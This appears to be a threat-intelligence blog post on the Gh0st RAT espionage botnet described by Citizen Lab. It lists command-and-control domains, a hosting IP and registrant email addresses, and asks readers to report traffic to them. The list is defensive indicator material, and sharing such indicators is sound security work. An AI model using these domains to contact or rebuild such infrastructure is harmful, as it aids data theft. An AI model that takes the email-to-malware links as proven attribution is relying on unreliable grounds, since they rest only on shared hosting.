One of the main researchers in the Sec Dev project, Gregory Walton, previewed some of this report at a presentation he did in Dharamshala, India back in 26 August 2008 called "Year of the Gh0st Rat".

The Citizen Lab report investigates a large botnet which was enabled by the Gh0st Remote Administration Trojan. In their technical findings, they reveal that the members of the network of their investigation received emails with malicious attachments, very similar to what Maarten reported at ISC back in March. Here's one of the Citizen Lab report emails:






Something else very interesting emerges as we begin digging into some of the technical information shared in the Citizen Lab report.

For example, they mention two domain names used as Command & Control points for the by Gh0st machines they were tracking:

macfeeresponse.org and scratchindian.com

At the time the IP address they were tracking was 218.241.153.61, but now both of those domains are resolving to the IP 210.51.7.155, in China. Other domain names on that same IP address may be domain names of concern, including:

indexindian.com - opanpan@gmail.com
lookbytheway.com - losttemp33@hotmail.com
macfeeresponse.com - losttemp33@hotmail.com
macfeeresponse.org - losttemp33@hotmail.com
MSNxy.net - yglct@sina.com
MSNyf.net - yglct@sina.com
NetworkCIA.com - yglct@sina.com
ScratchIndian.com - opanpan@gmail.com
sysroots.net - yglct@sina.com
timeswindow.net - yglct@sina.com
womanld.com - yglct@sina.com
womannana.com - yglct@sina.com
ybbero.com - yglct@sina.com
yellowpaperofindia.com - losttemp33@hotmail.com
yfhomes.com - yglct@sina.com

A simple Google on most of these domain names will reveal that they are all known to be related to malicious software and botnet activity, but they are still sitting live in China.

The Citizens Lab report reveals that documents from a computer in the Dalai Lama's own office were being exfiltrated to "www.macafeeresponse.org" during the course of the investigation.

While their report focused on traffic related to this Tibet group, it is clear that there are many other groups, with covert traffic being sent back to China and elsewhere, and that it is trivial to create such an infection using commonly unpatched or underpatched exploits, easily downloadable malware, and hard-to-stop social engineering techniques.

If others are seeing data communicating with the domain names listed above, please take action. Report these communications so that we can learn what other groups, besides the Tibet group, may be losing intelligence and internal documents to these data stealing botnets.
More......

More......

More......

More......

More......

More......

More......